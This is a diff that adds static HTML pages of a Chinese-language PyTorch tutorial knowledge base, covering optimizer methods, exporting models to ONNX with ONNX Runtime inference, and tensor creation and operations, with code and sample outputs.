'the ordering of tensors in sets will change between runs. Please use a list instead.')
else:
param_group['params'] = list(params)
for param in param_group['params']:
if not isinstance(param, torch.Tensor):
raise TypeError("optimizer can only optimize Tensors, "
"but one of the params is " + torch.typename(param))
if not param.is_leaf:
raise ValueError("can't optimize a non-leaf Tensor")

for name, default in self.defaults.items():
if default is required and name not in param_group:
raise ValueError("parameter group didn't specify a value of required optimization parameter " +
name)
else:
param_group.setdefault(name, default)

params = param_group['params']
if len(params) != len(set(params)):
warnings.warn("optimizer contains a parameter group with duplicate parameters; "
"in future, this will cause an error; "
"see github.com/PyTorch/PyTorch/issues/40967 for more information", stacklevel=3)
# 上面好像都在进行一些类的检测,报Warning和Error
param_set = set()
for group in self.param_groups:
param_set.update(set(group['params']))

if not param_set.isdisjoint(set(param_group['params'])):
raise ValueError("some parameters appear in more than one parameter group")
# 添加参数
self.param_groups.append(param_group)
+
    +
  • load_state_dict() :加载状态参数字典,可以用来进行模型的断点续训练,继续上次的参数进行训练
  • +
+
def load_state_dict(self, state_dict):
r"""Loads the optimizer state.

Arguments:
state_dict (dict): optimizer state. Should be an object returned
from a call to :meth:`state_dict`.
"""
# deepcopy, to be consistent with module API
state_dict = deepcopy(state_dict)
# Validate the state_dict
groups = self.param_groups
saved_groups = state_dict['param_groups']

if len(groups) != len(saved_groups):
raise ValueError("loaded state dict has a different number of "
"parameter groups")
param_lens = (len(g['params']) for g in groups)
saved_lens = (len(g['params']) for g in saved_groups)
if any(p_len != s_len for p_len, s_len in zip(param_lens, saved_lens)):
raise ValueError("loaded state dict contains a parameter group "
"that doesn't match the size of optimizer's group")

# Update the state
id_map = {old_id: p for old_id, p in
zip(chain.from_iterable((g['params'] for g in saved_groups)),
chain.from_iterable((g['params'] for g in groups)))}

def cast(param, value):
r"""Make a deep copy of value, casting all tensors to device of param."""
.....

# Copy state assigned to params (and cast tensors to appropriate types).
# State that is not assigned to params is copied as is (needed for
# backward compatibility).
state = defaultdict(dict)
for k, v in state_dict['state'].items():
if k in id_map:
param = id_map[k]
state[param] = cast(param, v)
else:
state[k] = v

# Update parameter groups, setting their 'params' value
def update_group(group, new_group):
...
param_groups = [
update_group(g, ng) for g, ng in zip(groups, saved_groups)]
self.__setstate__({'state': state, 'param_groups': param_groups})
+
    +
  • state_dict():获取优化器当前状态信息字典
  • +
+
def state_dict(self):
r"""Returns the state of the optimizer as a :class:`dict`.

It contains two entries:

* state - a dict holding current optimization state. Its content
differs between optimizer classes.
* param_groups - a dict containing all parameter groups
"""
# Save order indices instead of Tensors
param_mappings = {}
start_index = 0

def pack_group(group):
......
param_groups = [pack_group(g) for g in self.param_groups]
# Remap state to use order indices as keys
packed_state = {(param_mappings[id(k)] if isinstance(k, torch.Tensor) else k): v
for k, v in self.state.items()}
return {
'state': packed_state,
'param_groups': param_groups,
}
+

3.9.2 实际操作​

+
import os
import torch

# 设置权重,服从正态分布 --> 2 x 2
weight = torch.randn((2, 2), requires_grad=True)
# 设置梯度为全1矩阵 --> 2 x 2
weight.grad = torch.ones((2, 2))
# 输出现有的weight和data
print("The data of weight before step:\n{}".format(weight.data))
print("The grad of weight before step:\n{}".format(weight.grad))
# 实例化优化器
optimizer = torch.optim.SGD([weight], lr=0.1, momentum=0.9)
# 进行一步操作
optimizer.step()
# 查看进行一步后的值,梯度
print("The data of weight after step:\n{}".format(weight.data))
print("The grad of weight after step:\n{}".format(weight.grad))
# 权重清零
optimizer.zero_grad()
# 检验权重是否为0
print("The grad of weight after optimizer.zero_grad():\n{}".format(weight.grad))
# 输出参数
print("optimizer.params_group is \n{}".format(optimizer.param_groups))
# 查看参数位置,optimizer和weight的位置一样,我觉得这里可以参考Python是基于值管理
print("weight in optimizer:{}\nweight in weight:{}\n".format(id(optimizer.param_groups[0]['params'][0]), id(weight)))
# 添加参数:weight2
weight2 = torch.randn((3, 3), requires_grad=True)
optimizer.add_param_group({"params": weight2, 'lr': 0.0001, 'nesterov': True})
# 查看现有的参数
print("optimizer.param_groups is\n{}".format(optimizer.param_groups))
# 查看当前状态信息
opt_state_dict = optimizer.state_dict()
print("state_dict before step:\n", opt_state_dict)
# 进行5次step操作
for _ in range(50):
optimizer.step()
# 输出现有状态信息
print("state_dict after step:\n", optimizer.state_dict())
# 保存参数信息
torch.save(optimizer.state_dict(),os.path.join(r"D:\pythonProject\Attention_Unet", "optimizer_state_dict.pkl"))
print("----------done-----------")
# 加载参数信息
state_dict = torch.load(r"D:\pythonProject\Attention_Unet\optimizer_state_dict.pkl") # 需要修改为你自己的路径
optimizer.load_state_dict(state_dict)
print("load state_dict successfully\n{}".format(state_dict))
# 输出最后属性信息
print("\n{}".format(optimizer.defaults))
print("\n{}".format(optimizer.state))
print("\n{}".format(optimizer.param_groups))
+

3.9.3 输出结果​

+
# 进行更新前的数据,梯度
The data of weight before step:
tensor([[-0.3077, -0.1808],
[-0.7462, -1.5556]])
The grad of weight before step:
tensor([[1., 1.],
[1., 1.]])
# 进行更新后的数据,梯度
The data of weight after step:
tensor([[-0.4077, -0.2808],
[-0.8462, -1.6556]])
The grad of weight after step:
tensor([[1., 1.],
[1., 1.]])
# 进行梯度清零的梯度
The grad of weight after optimizer.zero_grad():
tensor([[0., 0.],
[0., 0.]])
# 输出信息
optimizer.params_group is
[{'params': [tensor([[-0.4077, -0.2808],
[-0.8462, -1.6556]], requires_grad=True)], 'lr': 0.1, 'momentum': 0.9, 'dampening': 0, 'weight_decay': 0, 'nesterov': False}]

# 证明了优化器的和weight的储存是在一个地方,Python基于值管理
weight in optimizer:1841923407424
weight in weight:1841923407424

# 输出参数
optimizer.param_groups is
[{'params': [tensor([[-0.4077, -0.2808],
[-0.8462, -1.6556]], requires_grad=True)], 'lr': 0.1, 'momentum': 0.9, 'dampening': 0, 'weight_decay': 0, 'nesterov': False}, {'params': [tensor([[ 0.4539, -2.1901, -0.6662],
[ 0.6630, -1.5178, -0.8708],
[-2.0222, 1.4573, 0.8657]], requires_grad=True)], 'lr': 0.0001, 'nesterov': True, 'momentum': 0.9, 'dampening': 0, 'weight_decay': 0}]

# 进行更新前的参数查看,用state_dict
state_dict before step:
{'state': {0: {'momentum_buffer': tensor([[1., 1.],
[1., 1.]])}}, 'param_groups': [{'lr': 0.1, 'momentum': 0.9, 'dampening': 0, 'weight_decay': 0, 'nesterov': False, 'params': [0]}, {'lr': 0.0001, 'nesterov': True, 'momentum': 0.9, 'dampening': 0, 'weight_decay': 0, 'params': [1]}]}
# 进行更新后的参数查看,用state_dict
state_dict after step:
{'state': {0: {'momentum_buffer': tensor([[0.0052, 0.0052],
[0.0052, 0.0052]])}}, 'param_groups': [{'lr': 0.1, 'momentum': 0.9, 'dampening': 0, 'weight_decay': 0, 'nesterov': False, 'params': [0]}, {'lr': 0.0001, 'nesterov': True, 'momentum': 0.9, 'dampening': 0, 'weight_decay': 0, 'params': [1]}]}

# 存储信息完毕
----------done-----------
# 加载参数信息成功
load state_dict successfully
# 加载参数信息
{'state': {0: {'momentum_buffer': tensor([[0.0052, 0.0052],
[0.0052, 0.0052]])}}, 'param_groups': [{'lr': 0.1, 'momentum': 0.9, 'dampening': 0, 'weight_decay': 0, 'nesterov': False, 'params': [0]}, {'lr': 0.0001, 'nesterov': True, 'momentum': 0.9, 'dampening': 0, 'weight_decay': 0, 'params': [1]}]}

# defaults的属性输出
{'lr': 0.1, 'momentum': 0.9, 'dampening': 0, 'weight_decay': 0, 'nesterov': False}

# state属性输出
defaultdict(<class 'dict'>, {tensor([[-1.3031, -1.1761],
[-1.7415, -2.5510]], requires_grad=True): {'momentum_buffer': tensor([[0.0052, 0.0052],
[0.0052, 0.0052]])}})

# param_groups属性输出
[{'lr': 0.1, 'momentum': 0.9, 'dampening': 0, 'weight_decay': 0, 'nesterov': False, 'params': [tensor([[-1.3031, -1.1761],
[-1.7415, -2.5510]], requires_grad=True)]}, {'lr': 0.0001, 'nesterov': True, 'momentum': 0.9, 'dampening': 0, 'weight_decay': 0, 'params': [tensor([[ 0.4539, -2.1901, -0.6662],
[ 0.6630, -1.5178, -0.8708],
[-2.0222, 1.4573, 0.8657]], requires_grad=True)]}]

+

注意:

+
    +
  1. 每个优化器都是一个类,我们一定要进行实例化才能使用,比如下方实现:
  2. +
+
class Net(nn.Moddule):
···
net = Net()
optim = torch.optim.SGD(net.parameters(),lr=lr)
optim.step()
+
    +
  1. optimizer在一个神经网络的epoch中需要实现下面两个步骤: +
      +
    1. 梯度置零
    2. +
    3. 梯度更新
    4. +
    +
  2. +
+
optimizer = torch.optim.SGD(net.parameters(), lr=1e-5)
for epoch in range(EPOCH):
...
optimizer.zero_grad() #梯度置零
loss = ... #计算loss
loss.backward() #BP反向传播
optimizer.step() #梯度更新
+
    +
  1. 给网络不同的层赋予不同的优化器参数。
  2. +
+
from torch import optim
from torchvision.models import resnet18

net = resnet18()

optimizer = optim.SGD([
{'params':net.fc.parameters()},#fc的lr使用默认的1e-5
{'params':net.layer4[0].conv1.parameters(),'lr':1e-2}],lr=1e-5)

# 可以使用param_groups查看属性
+

3.9.4 实验​

+

为了更好的帮大家了解优化器,我们对PyTorch中的优化器进行了一个小测试

+

数据生成:

+
a = torch.linspace(-1, 1, 1000)
# 升维操作
x = torch.unsqueeze(a, dim=1)
y = x.pow(2) + 0.1 * torch.normal(torch.zeros(x.size()))
+

数据分布曲线:

+

+

网络结构

+
class Net(nn.Module):
def __init__(self):
super(Net, self).__init__()
self.hidden = nn.Linear(1, 20)
self.predict = nn.Linear(20, 1)

def forward(self, x):
x = self.hidden(x)
x = F.relu(x)
x = self.predict(x)
return x

+

下面这部分是测试图,纵坐标代表Loss,横坐标代表的是Step:

+

+

在上面的图片上,曲线下降的趋势和对应的steps代表了在这轮数据,模型下的收敛速度

+

注意:

+

优化器的选择是需要根据模型进行改变的,不存在绝对的好坏之分,我们需要多进行一些测试。

+ + \ No newline at end of file diff --git a/docs/个人知识库/AI/PyTorch/第三章/index.html b/docs/个人知识库/AI/PyTorch/第三章/index.html new file mode 100644 index 0000000..f942fe0 --- /dev/null +++ b/docs/个人知识库/AI/PyTorch/第三章/index.html @@ -0,0 +1,46 @@ + + + + + +第三章 | wjlin0 + + + + + + + + + + \ No newline at end of file diff --git a/docs/个人知识库/AI/PyTorch/第九章/9.1 使用ONNX进行部署并推理/index.html b/docs/个人知识库/AI/PyTorch/第九章/9.1 使用ONNX进行部署并推理/index.html new file mode 100644 index 0000000..7513ced --- /dev/null +++ b/docs/个人知识库/AI/PyTorch/第九章/9.1 使用ONNX进行部署并推理/index.html @@ -0,0 +1,123 @@ + + + + + +9.1 使用ONNX进行部署并推理.md | wjlin0 + + + + + + + +

9.1 使用ONNX进行部署并推理.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:31
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

9.1 使用ONNX进行部署并推理

+

深度学习的最终目的是要实现模型的部署以方便我们的生活和解决传统方法不能解决的问题。通常人们会将模型部署在手机端、开发板,嵌入式设备上,但是这些设备上由于框架的规模,环境依赖,算力的限制,我们无法直接使用训练好的权重进行推理,因此我们需要将得到的权重进行变换才能使我们的模型可以成功部署在上述设备上。而经过工业界和学术界多年的探索,出现了以下的模型部署pipeline:

+框架 +

而在本节中我们会将PyTorch训练好的模型转换为ONNX 格式,然后使用ONNX Runtime运行它进行推理。通过本节课的学习,你将收获:

+
    +
  1. 模型部署的整体流程
  2. +
  3. 使用torch.onnx进行模型格式的转化
  4. +
  5. 使用ONNX Runtime进行模型推理
  6. +
  7. 完整的官方代码解释
  8. +
+

9.1.1 ONNX和ONNX Runtime简介​

+

9.1.1.1 ONNX简介​

+ +

ONNX( Open Neural Network Exchange) 是 Facebook (现Meta) 和微软在2017年共同发布的,用于标准描述计算图的一种格式。ONNX通过定义一组与环境和平台无关的标准格式,使AI模型可以在不同框架和环境下交互使用,ONNX可以看作深度学习框架和部署端的桥梁,就像编译器的中间语言一样。由于各框架兼容性不一,我们通常只用 ONNX 表示更容易部署的静态图。硬件和软件厂商只需要基于ONNX标准优化模型性能,让所有兼容ONNX标准的框架受益。目前,ONNX主要关注在模型预测方面,使用不同框架训练的模型,转化为ONNX格式后,可以很容易的部署在兼容ONNX的运行环境中。目前,在微软,亚马逊 ,Facebook(现Meta) 和 IBM 等公司和众多开源贡献的共同维护下,ONNX 已经对接了下图的多种深度学习框架和多种推理引擎。

+

image-20220805222147320

+

9.1.1.2 ONNX Runtime简介​

+ +

ONNX Runtime 是由微软维护的一个跨平台机器学习推理加速器,它直接对接ONNX,可以直接读取.onnx文件并实现推理,不需要再把 .onnx 格式的文件转换成其他格式的文件。PyTorch借助ONNX Runtime也完成了部署的最后一公里,构建了 PyTorch --> ONNX --> ONNX Runtime 部署流水线,我们只需要将模型转换为 .onnx 文件,并在 ONNX Runtime 上运行模型即可。

+

9.1.1.3 ONNX和ONNX Runtime的安装​

+

ONNX和ONNX Runtime作为python的一个包与其他包的安装方法相同,我们可以选择使用conda或者pip进行安装,只需要输入以下命令即可:

+
# 激活虚拟环境
conda activate env_name # env_name换成环境名称
# 安装onnx
pip install onnx
# 安装onnx runtime
pip install onnxruntime # 使用CPU进行推理
# pip install onnxruntime-gpu # 使用GPU进行推理
+

除此之外,我们还需要注意ONNX和ONNX Runtime之间的适配关系。我们可以访问ONNX Runtime的Github进行查看,链接地址如下:

+

ONNX和ONNX Runtime的适配关系:https://github.com/microsoft/onnxruntime/blob/master/docs/Versioning.md

+

当我们想使用GPU进行推理时,我们需要先将安装的onnxruntime卸载,再安装onnxruntime-gpu,同时我们还需要考虑ONNX Runtime与CUDA之间的适配关系,我们可以参考以下链接进行查看:

+

ONNX Runtime和CUDA之间的适配关系:https://onnxruntime.ai/docs/execution-providers/CUDA-ExecutionProvider.html

+

9.1.2 模型导出为ONNX​

+

9.1.2.1 模型转换为ONNX格式​

+

在接下来的部分,我们将使用torch.onnx.export()把模型转换成 ONNX 格式的函数。模型导成onnx格式前,我们必须调用model.eval()或者model.train(False)以确保我们的模型处在推理模式下,避免因为dropout或batchnorm等运算符在推理和训练模式下的不同产生错误。(因为本课程偏向实战,对于ONNX的内部流程不做过多赘述,有兴趣的同学可以进行更深一步了解)

+
import torch.onnx 
# 转换的onnx格式的名称,文件后缀需为.onnx
onnx_file_name = "xxxxxx.onnx"
# 我们需要转换的模型,将torch_model设置为自己的模型
model = torch_model
# 加载权重,将model.pth转换为自己的模型权重
# 如果模型的权重是使用多卡训练出来,我们需要去除权重中多的module. 具体操作可以见5.4节
model = model.load_state_dict(torch.load("model.pth"))
# 导出模型前,必须调用model.eval()或者model.train(False)
model.eval()
# dummy_input就是一个输入的实例,仅提供输入shape、type等信息
batch_size = 1 # 随机的取值,当设置dynamic_axes后影响不大
dummy_input = torch.randn(batch_size, 1, 224, 224, requires_grad=True)
# 这组输入对应的模型输出
output = model(dummy_input)
# 导出模型
torch.onnx.export(model, # 模型的名称
dummy_input, # 一组实例化输入
onnx_file_name, # 文件保存路径/名称
export_params=True, # 如果指定为True或默认, 参数也会被导出. 如果你要导出一个没训练过的就设为 False.
opset_version=10, # ONNX 算子集的版本,当前已更新到15
do_constant_folding=True, # 是否执行常量折叠优化
input_names = ['input'], # 输入模型的张量的名称
output_names = ['output'], # 输出模型的张量的名称
# dynamic_axes将batch_size的维度指定为动态,
# 后续进行推理的数据可以与导出的dummy_input的batch_size不同
dynamic_axes={'input' : {0 : 'batch_size'},
'output' : {0 : 'batch_size'}})

+

9.1.2.2 ONNX模型的检验​

+

当上述代码运行成功后,我们会得到一个ONNX 模型文件。我们需要检测下我们的模型文件是否可用,我们将通过onnx.checker.check_model()进行检验,具体方法如下:

+
import onnx
# 我们可以使用异常处理的方法进行检验
try:
# 当我们的模型不可用时,将会报出异常
onnx.checker.check_model(self.onnx_model)
except onnx.checker.ValidationError as e:
print("The model is invalid: %s"%e)
else:
# 模型可用时,将不会报出异常,并会输出“The model is valid!”
print("The model is valid!")
+

9.1.2.3 ONNX可视化​

+

在将模型导出为onnx格式后,我们希望有个工具可以像Tensorboard一样可视化模型来观察每个节点的属性特征。随着Netron的出现,我们也可以实现onnx的可视化。

+ +

使用Netron进行可视化后,我们不仅能看到整体模型的架构,还能看到每一个节点的信息。在接下来的内容中我们将以Netron官方提供的squeezenet为例进行介绍。下面第一幅图截取自squeezenet网络,我们可以看到网络的整体流程和输入。

+

结构图

+

第二幅图显示了第一个Conv的信息包括kernel_size,strides,input,output等信息,同理当我们点击其他节点时也可以显示该节点的信息。

+

image-20220805221657416

+

9.1.3 使用ONNX Runtime进行推理​

+

通过以上的操作,我们已经完成了PyTorch的模型到ONNX模型的转换,并通过Netron可视化和onnx.checker.check_model()检查了模型的正确性。在这一步,我们将使用ONNX Runtime运行一下转化后的模型,看一下推理后的结果。

+
# 导入onnxruntime
import onnxruntime
# 需要进行推理的onnx模型文件名称
onnx_file_name = "xxxxxx.onnx"

# onnxruntime.InferenceSession用于获取一个 ONNX Runtime 推理器
ort_session = onnxruntime.InferenceSession(onnx_file_name)

# 构建字典的输入数据,字典的key需要与我们构建onnx模型时的input_names相同
# 输入的input_img 也需要改变为ndarray格式
ort_inputs = {'input': input_img}
# 我们更建议使用下面这种方法,因为避免了手动输入key
# ort_inputs = {ort_session.get_inputs()[0].name:input_img}

# run是进行模型的推理,第一个参数为输出张量名的列表,一般情况可以设置为None
# 第二个参数为构建的输入值的字典
# 由于返回的结果被列表嵌套,因此我们需要进行[0]的索引
ort_output = ort_session.run(None,ort_inputs)[0]
# output = {ort_session.get_outputs()[0].name}
# ort_output = ort_session.run([output], ort_inputs)[0]

+

在上述的步骤中,我们有几个需要注意的点:

+
    +
  1. PyTorch模型的输入为tensor,而ONNX的输入为array,因此我们需要对张量进行变换或者直接将数据读取为array格式,我们可以实现下面的方式进行张量到array的转化。
  2. +
+
def to_numpy(tensor):
return tensor.detach().cpu().numpy() if tensor.requires_grad else tensor.cpu().numpy()
+
    +
  1. 输入的array的shape应该和我们导出模型的dummy_input的shape相同,如果图片大小不一样,我们应该先进行resize操作。
  2. +
  3. run的结果是一个列表,我们需要进行索引操作才能获得array格式的结果。
  4. +
  5. 在构建输入的字典时,我们需要注意字典的key应与导出ONNX格式设置的input_name相同,因此我们更建议使用上述的第二种方法构建输入的字典。
  6. +
+

9.1.4 代码实战​

+

本部分代码选自PyTorch官网示例代码,访问链接可点击下方推荐阅读2进行查看和使用官网提供的Colab对onnx导出进行进一步理解。如有侵权,可立即删除

+

1. 定义超分辨模型​

+
# 导入相关包
import io
import numpy as np
from torch import nn
import torch.utils.model_zoo as model_zoo
import torch.onnx
import torch.nn as nn
import torch.nn.init as init

# 定义超分辨网络
class SuperResolutionNet(nn.Module):
def __init__(self, upscale_factor, inplace=False):
super(SuperResolutionNet, self).__init__()

self.relu = nn.ReLU(inplace=inplace)
self.conv1 = nn.Conv2d(1, 64, (5, 5), (1, 1), (2, 2))
self.conv2 = nn.Conv2d(64, 64, (3, 3), (1, 1), (1, 1))
self.conv3 = nn.Conv2d(64, 32, (3, 3), (1, 1), (1, 1))
self.conv4 = nn.Conv2d(32, upscale_factor ** 2, (3, 3), (1, 1), (1, 1))
self.pixel_shuffle = nn.PixelShuffle(upscale_factor)

self._initialize_weights()

def forward(self, x):
x = self.relu(self.conv1(x))
x = self.relu(self.conv2(x))
x = self.relu(self.conv3(x))
x = self.pixel_shuffle(self.conv4(x))
return x

# 模型初始化
def _initialize_weights(self):
init.orthogonal_(self.conv1.weight, init.calculate_gain('relu'))
init.orthogonal_(self.conv2.weight, init.calculate_gain('relu'))
init.orthogonal_(self.conv3.weight, init.calculate_gain('relu'))
init.orthogonal_(self.conv4.weight)

# 实例化模型
torch_model = SuperResolutionNet(upscale_factor=3)
+

2. 模型导出为ONNX格式​

+
model_url = 'https://s3.amazonaws.com/pytorch/test_data/export/superres_epoch100-44c6958e.pth'
batch_size = 1 # just a random number
# 加载预训练得到权重
map_location = lambda storage, loc: storage
if torch.cuda.is_available():
map_location = None
torch_model.load_state_dict(model_zoo.load_url(model_url, map_location=map_location))

# 将模型设置为推理模式
torch_model.eval()
# Input to the model
x = torch.randn(batch_size, 1, 224, 224, requires_grad=True)
torch_out = torch_model(x)

# 导出模型
torch.onnx.export(torch_model, # model being run
x, # model input (or a tuple for multiple inputs)
"super_resolution.onnx", # where to save the model (can be a file or file-like object)
export_params=True, # store the trained parameter weights inside the model file
opset_version=10, # the ONNX version to export the model to
do_constant_folding=True, # whether to execute constant folding for optimization
input_names = ['input'], # the model's input names
output_names = ['output'], # the model's output names
# variable length axes
dynamic_axes={'input' : {0 : 'batch_size'},
'output' : {0 : 'batch_size'}})
+

3. 检验ONNX模型​

+
import onnx
# 我们可以使用异常处理的方法进行检验
try:
# 当我们的模型不可用时,将会报出异常
onnx.checker.check_model("super_resolution.onnx")
except onnx.checker.ValidationError as e:
print("The model is invalid: %s"%e)
else:
# 模型可用时,将不会报出异常,并会输出“The model is valid!”
print("The model is valid!")
+

4. 使用ONNX Runtime进行推理​

+
import onnxruntime

ort_session = onnxruntime.InferenceSession("super_resolution.onnx")

# 将张量转化为ndarray格式
def to_numpy(tensor):
return tensor.detach().cpu().numpy() if tensor.requires_grad else tensor.cpu().numpy()

# 构建输入的字典和计算输出结果
ort_inputs = {ort_session.get_inputs()[0].name: to_numpy(x)}
ort_outs = ort_session.run(None, ort_inputs)

# 比较使用PyTorch和ONNX Runtime得出的精度
np.testing.assert_allclose(to_numpy(torch_out), ort_outs[0], rtol=1e-03, atol=1e-05)

print("Exported model has been tested with ONNXRuntime, and the result looks good!")
+

5. 进行实际预测并可视化​

+
from PIL import Image
import torchvision.transforms as transforms

# 读取图片
img = Image.open("/cat_224x224.jpg")
# 对图片进行resize操作
resize = transforms.Resize([224, 224])
img = resize(img)

img_ycbcr = img.convert('YCbCr')
img_y, img_cb, img_cr = img_ycbcr.split()

to_tensor = transforms.ToTensor()
img_y = to_tensor(img_y)
img_y.unsqueeze_(0)
# 构建输入的字典并将value转换位array格式
ort_inputs = {ort_session.get_inputs()[0].name: to_numpy(img_y)}
ort_outs = ort_session.run(None, ort_inputs)
img_out_y = ort_outs[0]
img_out_y = Image.fromarray(np.uint8((img_out_y[0] * 255.0).clip(0, 255)[0]), mode='L')

# 保存最后得到的图片
final_img = Image.merge(
"YCbCr", [
img_out_y,
img_cb.resize(img_out_y.size, Image.BICUBIC),
img_cr.resize(img_out_y.size, Image.BICUBIC),
]).convert("RGB")

final_img.save("/cat_superres_with_ort.jpg")
+

参考资料​

+
    +
  1. miscroft-将 PyTorch 训练模型转换为 ONNX
  2. +
  3. pytorch- EXPORTING A MODEL FROM PYTORCH TO ONNX AND RUNNING IT USING ONNX RUNTIME
  4. +
  5. ONNX tutorials
  6. +
+ + \ No newline at end of file diff --git a/docs/个人知识库/AI/PyTorch/第九章/index.html b/docs/个人知识库/AI/PyTorch/第九章/index.html new file mode 100644 index 0000000..e0aa4ec --- /dev/null +++ b/docs/个人知识库/AI/PyTorch/第九章/index.html @@ -0,0 +1,46 @@ + + + + + +第九章 | wjlin0 + + + + + + + + + + \ No newline at end of file diff --git a/docs/个人知识库/AI/PyTorch/第二章/2.1 张量/index.html b/docs/个人知识库/AI/PyTorch/第二章/2.1 张量/index.html new file mode 100644 index 0000000..67dd7e1 --- /dev/null +++ b/docs/个人知识库/AI/PyTorch/第二章/2.1 张量/index.html @@ -0,0 +1,208 @@ + + + + + +2.1 张量.md | wjlin0 + + + + + + + +

2.1 张量.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:13
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

2.1 张量

+

从本章开始,我们将开始介绍PyTorch基础知识,本章我们将介绍张量,以帮助大家建立起对数据的描述,随后我们再介绍张量的运算,最后再讲PyTorch中所有神经网络的核心包 autograd ,也就是自动微分,了解完这些内容我们就可以较好地理解PyTorch代码了。在深度学习中,我们通常将数据以张量的形式进行表示,比如我们用三维张量表示一个RGB图像,四维张量表示视频。

+

经过本节的学习,你将收获:

+
    +
  • 张量的简介
  • +
  • PyTorch如何创建张量
  • +
  • PyTorch中张量的操作
  • +
  • PyTorch中张量的广播机制
  • +
+

2.1.1 简介​

+

几何代数中定义的张量是基于向量和矩阵的推广,比如我们可以将标量视为零阶张量,矢量可以视为一阶张量,矩阵就是二阶张量。

+ + + + + + + + + + + + + + + + + + + + + + + + + +
张量维度代表含义
0维张量代表的是标量(数字)
1维张量代表的是向量
2维张量代表的是矩阵
3维张量时间序列数据 股价 文本数据 单张彩色图片(RGB)
+

张量是现代机器学习的基础。它的核心是一个数据容器,多数情况下,它包含数字,有时候它也包含字符串,但这种情况比较少。因此可以把它想象成一个数字的水桶。

+

这里有一些存储在各种类型张量的公用数据集类型:

+
    +
  • 3维 = 时间序列
  • +
  • 4维 = 图像
  • +
  • 5维 = 视频
  • +
+

例子:一个图像可以用三个字段表示:

+
(width, height, channel) = 3D
+

但是,在机器学习工作中,我们经常要处理不止一张图片或一篇文档——我们要处理一个集合。我们可能有10,000张郁金香的图片,这意味着,我们将用到4D张量:

+
(batch_size, width, height, channel) = 4D
+

在PyTorch中, torch.Tensor 是存储和变换数据的主要工具。如果你之前用过NumPy,你会发现 Tensor 和NumPy的多维数组非常类似。然而,Tensor 提供GPU计算和自动求梯度等更多功能,这些使 Tensor 这一数据类型更加适合深度学习。

+

2.1.2 创建tensor​

+

在接下来的内容中,我们将介绍几种常见的创建tensor的方法。

+
    +
  1. 随机初始化矩阵 +我们可以通过torch.rand()的方法,构造一个随机初始化的矩阵:
  2. +
+

import torch
x = torch.rand(4, 3)
print(x)
+
tensor([[0.7569, 0.4281, 0.4722],
[0.9513, 0.5168, 0.1659],
[0.4493, 0.2846, 0.4363],
[0.5043, 0.9637, 0.1469]])
+
    +
  1. 全0矩阵的构建 +我们可以通过torch.zeros()构造一个矩阵全为 0,并且通过dtype设置数据类型为 long。除此以外,我们还可以通过torch.zero_()和torch.zeros_like()将现有矩阵转换为全0矩阵.
  2. +
+
import torch
x = torch.zeros(4, 3, dtype=torch.long)
print(x)
+
tensor([[0, 0, 0],
[0, 0, 0],
[0, 0, 0],
[0, 0, 0]])
+
    +
  1. 张量的构建 +我们可以通过torch.tensor()直接使用数据,构造一个张量:
  2. +
+
import torch
x = torch.tensor([5.5, 3])
print(x)
+
tensor([5.5000, 3.0000])
+
    +
  1. 基于已经存在的 tensor,创建一个 tensor :
  2. +
+
x = x.new_ones(4, 3, dtype=torch.double) 
# 创建一个新的全1矩阵tensor,返回的tensor默认具有相同的torch.dtype和torch.device
# 也可以像之前的写法 x = torch.ones(4, 3, dtype=torch.double)
print(x)
x = torch.randn_like(x, dtype=torch.float)
# 重置数据类型
print(x)
# 结果会有一样的size
# 获取它的维度信息
print(x.size())
print(x.shape)
+
tensor([[1., 1., 1.],
[1., 1., 1.],
[1., 1., 1.],
[1., 1., 1.]], dtype=torch.float64)
tensor([[ 2.7311, -0.0720, 0.2497],
[-2.3141, 0.0666, -0.5934],
[ 1.5253, 1.0336, 1.3859],
[ 1.3806, -0.6965, -1.2255]])
torch.Size([4, 3])
torch.Size([4, 3])
+

返回的torch.Size其实是一个tuple,⽀持所有tuple的操作。我们可以使用索引操作取得张量的长、宽等数据维度。

+
    +
  1. 常见的构造Tensor的方法:
  2. +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
函数功能
Tensor(sizes)基础构造函数
tensor(data)类似于np.array
ones(sizes)全1
zeros(sizes)全0
eye(sizes)对角为1,其余为0
arange(s,e,step)从s到e,步长为step
linspace(s,e,steps)从s到e,均匀分成step份
rand/randn(sizes)rand是[0,1)均匀分布;randn是服从N(0,1)的正态分布
normal(mean,std)正态分布(均值为mean,标准差是std)
randperm(m)随机排列
+

2.1.3 张量的操作​

+

在接下来的内容中,我们将介绍几种常见的张量的操作方法:

+
    +
  1. 加法操作:
  2. +
+
import torch
# 方式1
y = torch.rand(4, 3)
print(x + y)

# 方式2
print(torch.add(x, y))

# 方式3 in-place,原值修改
y.add_(x)
print(y)
+
tensor([[ 2.8977,  0.6581,  0.5856],
[-1.3604, 0.1656, -0.0823],
[ 2.1387, 1.7959, 1.5275],
[ 2.2427, -0.3100, -0.4826]])
tensor([[ 2.8977, 0.6581, 0.5856],
[-1.3604, 0.1656, -0.0823],
[ 2.1387, 1.7959, 1.5275],
[ 2.2427, -0.3100, -0.4826]])
tensor([[ 2.8977, 0.6581, 0.5856],
[-1.3604, 0.1656, -0.0823],
[ 2.1387, 1.7959, 1.5275],
[ 2.2427, -0.3100, -0.4826]])

+
    +
  1. 索引操作:(类似于numpy)
  2. +
+

需要注意的是:索引出来的结果与原数据共享内存,修改一个,另一个会跟着修改。如果不想修改,可以考虑使用copy()等方法

+
import torch
x = torch.rand(4,3)
# 取第二列
print(x[:, 1])
+
tensor([-0.0720,  0.0666,  1.0336, -0.6965])
+
y = x[0,:]
y += 1
print(y)
print(x[0, :]) # 源tensor也被改了了
+
tensor([3.7311, 0.9280, 1.2497])
tensor([3.7311, 0.9280, 1.2497])
+
    +
  1. 维度变换 +张量的维度变换常见的方法有torch.view()和torch.reshape(),下面我们将介绍第一中方法torch.view():
  2. +
+
x = torch.randn(4, 4)
y = x.view(16)
z = x.view(-1, 8) # -1是指这一维的维数由其他维度决定
print(x.size(), y.size(), z.size())
+
torch.Size([4, 4]) torch.Size([16]) torch.Size([2, 8])
+

注: torch.view() 返回的新tensor与源tensor共享内存(其实是同一个tensor),更改其中的一个,另外一个也会跟着改变。(顾名思义,view()仅仅是改变了对这个张量的观察角度)

+
x += 1
print(x)
print(y) # 也加了了1
+
